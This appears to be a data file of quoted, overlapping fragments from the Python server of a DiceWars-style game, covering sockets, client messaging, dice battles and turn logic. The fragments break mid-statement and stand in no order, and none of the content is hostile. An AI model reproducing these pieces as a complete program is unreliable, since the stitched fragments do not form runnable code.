"defender.set_dice(atk_dice - 1) battle['def'] = { 'name': defender.get_name(), 'dice': atk_dice - 1, 'owner':",
"battle Returns ------- dict Dictionary with the result of the battle including information",
"msg def send_message(self, client, type, battle=None, winner=None, areas=None): \"\"\"Send message to a client",
"renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()} self.players = {renumbering[old_name]: player",
"the areas \"\"\" self.nb_battles += 1 atk_dice = attacker.get_dice() def_dice = defender.get_dice() atk_pwr",
"msg['type'] = 'end_turn' msg['areas'] = areas msg['current_player'] = self.current_player.get_name() msg['reserves'] = { i:",
"+ '\\0') def create_socket(self): \"\"\"Initiate server socket \"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)",
"because the limit of {} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values():",
"= self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name,",
"self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] =",
"1 def check_win_condition(self): \"\"\"Check win conditions Returns ------- bool True if a player",
"self.get_state() msg['type'] = 'game_start' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name()",
"self.current_player.get_name() elif type == 'battle': msg = self.get_state() msg['type'] = 'battle' msg['result'] =",
"str Type of message battle : dict Result of a battle winner :",
"of Player that the client was assigned to \"\"\" self.client_sockets[i] = connection player",
"i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError,",
"msg['type'] = 'battle' msg['result'] = battle elif type == 'end_turn': msg = self.get_state()",
"def_pwr } else: battle['def'] = { 'name': defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr':",
"of message battle : dict Result of a battle winner : int Winner",
"self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0 self.create_socket() self.board = board",
"e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets",
"area, player): \"\"\"Assign area to a new owner Parameters ---------- area : Area",
"attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr': atk_pwr } } attacker.set_dice(1) if atk_pwr >",
"-= 1 player.set_reserve(dice) self.set_next_player() list_of_areas = {} for area in affected_areas: list_of_areas[area.get_name()] =",
"= connection player = self.assign_player_to_client(connection, client_address) if not player: raise Exception(\"Could not assign",
"client {}; type: {}\".format(player, msg['type'])) return msg def send_message(self, client, type, battle=None, winner=None,",
"= 65535 self.logger = logging.getLogger('SERVER') self.address = addr self.port = port self.number_of_players =",
"registered_nicknames_rev = {player.nickname: player_name for player_name, player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order)",
"rounds of passing has been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if p.get_number_of_areas() >",
"0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p in self.players:",
"= self.players_order[(current_idx + 1) % self.number_of_players] while True: try: if self.players[idx].get_number_of_areas() == 0:",
"> 64: dice = 64 areas = [] for area in self.current_player.get_areas(): areas.append(area)",
"'{}' to client {}\".format(type, client.get_name())) if type == 'game_start': msg = self.get_state() msg['type']",
"port : int Port number Attributes ---------- buffer : int Size of socket",
"player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = [] for",
"battle = { 'atk': { 'name': attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr': atk_pwr",
"Client's address and port number i : int Player's name Returns ------- Player",
"\"\"\"Read message from client Parameters ---------- player : int Name of the client",
"# ############## def assign_area(self, area, player): \"\"\"Assign area to a new owner Parameters",
"------- dict Dictionary containing owner, dice and adjacent areas of each area, as",
"self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle()",
"socket for old_name, socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for player_name, player",
"if area not in affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas =",
"been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1)",
"} attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0:",
"IP address of the server port : int Port number Attributes ---------- buffer",
"------- Player Instance of Player that the client was assigned to \"\"\" self.client_sockets[i]",
"order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players at the start of",
"msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {}; type: {}\".format(player, msg['type'])) return msg",
"self.summary = GameSummary() def run(self): \"\"\"Main loop of the game \"\"\" from dicewars.ml.game",
"list_of_areas def set_first_player(self): \"\"\"Set first player \"\"\" for player in self.players: if self.players[player].get_name()",
"True if a player has won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive",
"% self.number_of_players idx = self.players_order[(current_idx + 1) % self.number_of_players] continue self.current_player = self.players[idx]",
"= player.get_largest_region(self.board) return game_state def battle(self, attacker, defender): \"\"\"Carry out a battle Returns",
"0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] = { 'name': defender.get_name(), 'dice': atk_dice",
"player \"\"\" current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1)",
"= self.get_state() msg['type'] = 'game_state' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] =",
"'owner': atk_name, 'pwr': atk_pwr } } attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender)",
"if self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self):",
"\"\"\"Get game state Returns ------- dict Dictionary containing owner, dice and adjacent areas",
"\"\"\"Send message to a client Parameters ---------- client : Player Recepient of the",
"'winner': winner } elif type == 'close_socket': msg = {'type': 'close_socket'} msg =",
"'name': attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr': atk_pwr } } attacker.set_dice(1) if atk_pwr",
"area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for",
"try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at",
"in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player order: {}'.format([(name, self.players[name].nickname) for name in",
"self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game state Returns ------- dict Dictionary",
"def_name = defender.get_owner_name() for i in range(0, atk_dice): atk_pwr += random.randint(1, 6) for",
"LOGIC # ############## def assign_area(self, area, player): \"\"\"Assign area to a new owner",
"sock, client_address = self.socket.accept() self.add_client(sock, client_address, i) def add_client(self, connection, client_address, i): \"\"\"Add",
"addr, port, nicknames_order): \"\"\"Initialize game and connect clients Parameters ---------- players : int",
"JSONDecodeError import logging import random import socket import sys from .player import Player",
"game \"\"\" def __init__(self, board, area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize game and",
"{} rounds of passing has been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if p.get_number_of_areas()",
"the client Returns ------- str Decoded message from the client \"\"\" raw_message =",
"self.logger.info(\"Game cancelled because the limit of {} rounds of passing has been reached\".format(MAX_PASS_ROUNDS))",
"clients Parameters ---------- players : int Number of players addr : str IP",
"def eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname))",
"1 atk_dice = attacker.get_dice() def_dice = defender.get_dice() atk_pwr = def_pwr = 0 atk_name",
"for name, player in self.players.items(): player.name = name self.client_sockets = {renumbering[old_name]: socket for",
": (str, int) Client's address and port number i : int Player's name",
"int Size of socket buffer number_of_players : int Number of players \"\"\" self.buffer",
"client Parameters ---------- client : Player Recepient of the message type : str",
"ownership of the areas \"\"\" self.nb_battles += 1 atk_dice = attacker.get_dice() def_dice =",
"def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1)",
"next player in order as a current player \"\"\" current_player_name = self.current_player.get_name() current_idx",
"each area, as well as score of each player \"\"\" game_state = {",
"player = self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to client",
"self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {}; type: {}\".format(player, msg['type'])) return",
"assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = [] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def",
"ownership): \"\"\"Assigns areas to players at the start of the game \"\"\" assert(len(ownership)",
"dice and adjacent areas of each area, as well as score of each",
"winner_index=i, configurations=configurations, ) break break serialised_game = serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except",
"True return False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name))",
"self.create_socket() self.board = board self.initialize_players() self.connect_clients() if nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order()",
"adjacent areas of each area, as well as score of each player \"\"\"",
") break break serialised_game = serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game",
"self.players[i].get_reserve() for i in self.players } elif type == 'game_end': msg = {",
"self.number_of_players + 1): self.players[i] = Player(i) self.players_order = list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order)",
"areas=affected_areas) def get_state(self): \"\"\"Get game state Returns ------- dict Dictionary containing owner, dice",
"= defender.get_owner_name() for i in range(0, atk_dice): atk_pwr += random.randint(1, 6) for i",
"to a new owner Parameters ---------- area : Area Area to be assigned",
"the result of the battle including information about rolled numbers, dice left after",
"return battle def end_turn(self): \"\"\"Handles end turn command Returns ------- dict Dictionary of",
"= players self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0 self.create_socket() self.board",
"= self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive -= 1 def",
"while dice and areas: area = random.choice(areas) if not area.add_die(): areas.remove(area) else: if",
"hello_msg = self.get_message(i) if hello_msg['type'] != 'client_desc': raise ValueError(\"Client send a wrong-type hello",
"dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas = {} for area in affected_areas: list_of_areas[area.get_name()]",
"client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() elif type == 'battle': msg =",
"get_state(self): \"\"\"Get game state Returns ------- dict Dictionary containing owner, dice and adjacent",
"client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {};",
"sys.stdout.write(str(self.summary)) for i, p in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations,",
"break serialised_game = serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for",
"self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game state Returns ------- dict Dictionary containing",
"= attacker.get_owner_name() def_name = defender.get_owner_name() for i in range(0, atk_dice): atk_pwr += random.randint(1,",
"{ i: self.players[i].get_reserve() for i in self.players } elif type == 'game_end': msg",
"= json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate server socket \"\"\" try: self.socket",
"player): \"\"\"Assign area to a new owner Parameters ---------- area : Area Area",
"self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas():",
"{}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next player in order as a current player",
"result of the battle including information about rolled numbers, dice left after the",
"self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0 self.create_socket() self.board = board self.initialize_players() self.connect_clients() if",
"in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas",
"for p in self.players: player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def",
"\"\"\" current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1) %",
"player {} ({})\".format(player, nickname)) self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check win conditions Returns",
"msg['current_player'] = self.current_player.get_name() elif type == 'battle': msg = self.get_state() msg['type'] = 'battle'",
"players : int Number of players addr : str IP address of the",
"= battle elif type == 'end_turn': msg = self.get_state() msg['type'] = 'end_turn' msg['areas']",
"battle['def'] = { 'name': defender.get_name(), 'dice': atk_dice - 1, 'owner': atk_name, 'pwr': def_pwr",
"socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for player_name, player in self.players.items()} assert(len(nicknames_order)",
"\"\"\"Assign area to a new owner Parameters ---------- area : Area Area to",
"msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] = self.players_order elif",
"= self.current_player dice = player.get_reserve() + player.get_largest_region(self.board) if dice > 64: dice =",
"number of dice in these areas \"\"\" affected_areas = [] player = self.current_player",
"player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return False def process_win(self, player_nick, player_name):",
"= self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def battle(self, attacker, defender): \"\"\"Carry out",
"self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit of {} rounds of passing",
"1) battle['def'] = { 'name': defender.get_name(), 'dice': atk_dice - 1, 'owner': atk_name, 'pwr':",
"---------- buffer : int Size of socket buffer number_of_players : int Number of",
"including number of dice in these areas \"\"\" affected_areas = [] player =",
"= attacker.get_dice() def_dice = defender.get_dice() atk_pwr = def_pwr = 0 atk_name = attacker.get_owner_name()",
"from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations = set() try: for i in range(1,",
"\"\"\"Assign client to an instance of Player \"\"\" sock, client_address = self.socket.accept() self.add_client(sock,",
"def set_first_player(self): \"\"\"Set first player \"\"\" for player in self.players: if self.players[player].get_name() ==",
"self.process_win(None, -1) return True for p in self.players: player = self.players[p] if player.get_number_of_areas()",
"= player.get_reserve() + player.get_largest_region(self.board) if dice > 64: dice = 64 areas =",
"of dice in these areas \"\"\" affected_areas = [] player = self.current_player dice",
"type == 'battle': msg = self.get_state() msg['type'] = 'battle' msg['result'] = battle elif",
"adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()} self.players =",
"of Player \"\"\" sock, client_address = self.socket.accept() self.add_client(sock, client_address, i) def add_client(self, connection,",
"\"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg = self.get_message(player)",
"in self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return",
"\"\"\"Instance of the game \"\"\" def __init__(self, board, area_ownership, players, addr, port, nicknames_order):",
"self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn()",
"= {player.nickname: player_name for player_name, player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) ==",
"attacker, defender): \"\"\"Carry out a battle Returns ------- dict Dictionary with the result",
"client_address, i): \"\"\"Add client's socket to an instance of Player Parameters ---------- connection",
"msg['type'])) return msg def send_message(self, client, type, battle=None, winner=None, areas=None): \"\"\"Send message to",
"all players\") def connect_client(self, i): \"\"\"Assign client to an instance of Player \"\"\"",
"to client {}\".format(type, client.get_name())) if type == 'game_start': msg = self.get_state() msg['type'] =",
"Attributes ---------- buffer : int Size of socket buffer number_of_players : int Number",
"the limit of {} rounds of passing has been reached\".format(MAX_PASS_ROUNDS)) for p in",
"= self.assign_player_to_client(connection, client_address) if not player: raise Exception(\"Could not assign player to client",
"board self.initialize_players() self.connect_clients() if nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\")",
"GameSummary() def run(self): \"\"\"Main loop of the game \"\"\" from dicewars.ml.game import serialise_game_configuration,",
"atk_name, 'pwr': atk_pwr } } attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender)",
"Areas changed during the turn \"\"\" self.logger.debug(\"Sending msg type '{}' to client {}\".format(type,",
"in affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas = {} for area",
"MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit of {} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for",
"self.process_win(player.get_nickname(), player.get_name()) return True return False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {}",
"message from client {}; type: {}\".format(player, msg['type'])) return msg def send_message(self, client, type,",
"+= random.randint(1, 6) for i in range(0, def_dice): def_pwr += random.randint(1, 6) battle",
"'dice': 1, 'owner': atk_name, 'pwr': atk_pwr } } attacker.set_dice(1) if atk_pwr > def_pwr:",
"logging.getLogger('SERVER') self.address = addr self.port = port self.number_of_players = players self.nb_players_alive = players",
"defender.get_name(), 'dice': atk_dice - 1, 'owner': atk_name, 'pwr': def_pwr } else: battle['def'] =",
"Dictionary with the result of the battle including information about rolled numbers, dice",
"player.assign_client(socket, client_address) return player else: return False def get_unassigned_player(self): \"\"\"Get a player with",
"'\\0') def create_socket(self): \"\"\"Initiate server socket \"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET,",
"return self.players[player] return False def close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server socket\")",
"'battle' msg['result'] = battle elif type == 'end_turn': msg = self.get_state() msg['type'] =",
"= areas msg['current_player'] = self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve() for i in",
"addr : str IP address of the server port : int Port number",
"hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all players\") def connect_client(self, i):",
"dict Dictionary with the result of the battle including information about rolled numbers,",
"the limit of {} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if",
"Winner of the game areas : list of int Areas changed during the",
"json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate server socket \"\"\" try: self.socket =",
"self.process_win(None, -1) return True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit",
"Game: \"\"\"Instance of the game \"\"\" def __init__(self, board, area_ownership, players, addr, port,",
"players self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0 self.create_socket() self.board =",
"self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players at the start",
"p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break break serialised_game = serialise_game_configuration( board=self.board,",
"== self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next",
"socket Client's socket client_addres : (str, int) Client's address and port number i",
"players at the start of the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name,",
"socket, client_address): \"\"\"Add client's socket to an unassigned player \"\"\" player = self.get_unassigned_player()",
"self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def battle(self, attacker, defender): \"\"\"Carry out a",
"self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice()",
"in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break break serialised_game",
"0 atk_name = attacker.get_owner_name() def_name = defender.get_owner_name() for i in range(0, atk_dice): atk_pwr",
"dice = player.get_reserve() + player.get_largest_region(self.board) if dice > 64: dice = 64 areas",
"player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg = self.get_message(player) if msg['type']",
"\"\"\" for player in self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current",
"area : Area Area to be assigned new owner to player : Player",
"------- bool True if a player has won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns",
"self.logger.debug(\"Sending msg type '{}' to client {}\".format(type, client.get_name())) if type == 'game_start': msg",
"as a current player \"\"\" current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx =",
"owner, dice and adjacent areas of each area, as well as score of",
"of Player Parameters ---------- connection : socket Client's socket client_addres : (str, int)",
"idx = self.players_order[(current_idx + 1) % self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current player:",
"player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for i in self.players: self.send_message(self.players[i], 'game_end',",
"= {renumbering[old_name]: socket for old_name, socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for",
"client_address): \"\"\"Add client's socket to an unassigned player \"\"\" player = self.get_unassigned_player() if",
"of affected areas including number of dice in these areas \"\"\" affected_areas =",
"== 'game_end': msg = { 'type': 'game_end', 'winner': winner } elif type ==",
"the battle, and possible new ownership of the areas \"\"\" self.nb_battles += 1",
"self.players_order[(current_idx + 1) % self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except",
"has won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled",
"player for old_name, player in self.players.items()} for name, player in self.players.items(): player.name =",
"= self.board.get_board() msg['order'] = self.players_order elif type == 'game_state': msg = self.get_state() msg['type']",
"socket buffer number_of_players : int Number of players \"\"\" self.buffer = 65535 self.logger",
"area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message and carry out the action \"\"\"",
"the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from client",
"def create_socket(self): \"\"\"Initiate server socket \"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,",
"of passing has been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if p.get_number_of_areas() > 0:",
"self.number_of_players msg['current_player'] = self.current_player.get_name() elif type == 'battle': msg = self.get_state() msg['type'] =",
"self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit of {} battles has been",
"= name self.client_sockets = {renumbering[old_name]: socket for old_name, socket in self.client_sockets.items()} registered_nicknames_rev =",
"areas \"\"\" affected_areas = [] player = self.current_player dice = player.get_reserve() + player.get_largest_region(self.board)",
"= client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] =",
"-1) return True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit of",
"- 1) battle['def'] = { 'name': defender.get_name(), 'dice': atk_dice - 1, 'owner': atk_name,",
"+= 1 affected_areas = self.end_turn() for p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def",
"the game \"\"\" def __init__(self, board, area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize game",
"self.players[i] = Player(i) self.players_order = list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order",
"areas to players at the start of the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas())",
"def end_turn(self): \"\"\"Handles end turn command Returns ------- dict Dictionary of affected areas",
"client was assigned to \"\"\" self.client_sockets[i] = connection player = self.assign_player_to_client(connection, client_address) if",
"board, area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize game and connect clients Parameters ----------",
"self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next player in",
"game_state def battle(self, attacker, defender): \"\"\"Carry out a battle Returns ------- dict Dictionary",
"in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError)",
"and possible new ownership of the areas \"\"\" self.nb_battles += 1 atk_dice =",
"type == 'game_end': msg = { 'type': 'game_end', 'winner': winner } elif type",
"player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def battle(self, attacker, defender): \"\"\"Carry",
"msg = self.get_state() msg['type'] = 'battle' msg['result'] = battle elif type == 'end_turn':",
"# GAME LOGIC # ############## def assign_area(self, area, player): \"\"\"Assign area to a",
"Returns ------- Player Instance of Player that the client was assigned to \"\"\"",
"'{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all players\") def connect_client(self, i): \"\"\"Assign client",
"= [] for area in self.current_player.get_areas(): areas.append(area) while dice and areas: area =",
"including information about rolled numbers, dice left after the battle, and possible new",
"self.logger.debug(\"Got message from client {}; type: {}\".format(player, msg['type'])) return msg def send_message(self, client,",
"self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except OSError as e: self.logger.error(\"Cannot create socket. {0}.\".format(e))",
"if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit of {} battles has",
"self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for p in self.players: player = self.players[p] if",
"maximum of 5671 over over 100k games class Game: \"\"\"Instance of the game",
"self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] = {",
"message battle : dict Result of a battle winner : int Winner of",
"nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()} self.players = {renumbering[old_name]:",
": int Number of players addr : str IP address of the server",
"in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game state Returns ------- dict",
"areas=None): \"\"\"Send message to a client Parameters ---------- client : Player Recepient of",
"return True return False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick,",
"self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn() for p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas)",
"range(0, atk_dice): atk_pwr += random.randint(1, 6) for i in range(0, def_dice): def_pwr +=",
"start of the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name in ownership.items():",
"client_address) return player else: return False def get_unassigned_player(self): \"\"\"Get a player with unassigned",
"dice left after the battle, and possible new ownership of the areas \"\"\"",
"owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message and carry out the",
"game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] = {}",
"ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1",
"wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all players\") def connect_client(self,",
"self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for p in",
"battle : dict Result of a battle winner : int Winner of the",
": int Player's name Returns ------- Player Instance of Player that the client",
"import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000 # obsevered maximum of 5671",
"== self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick)",
"Exception(\"Could not assign player to client {}\".format(client_address)) else: return player def assign_player_to_client(self, socket,",
"areas: area = random.choice(areas) if not area.add_die(): areas.remove(area) else: if area not in",
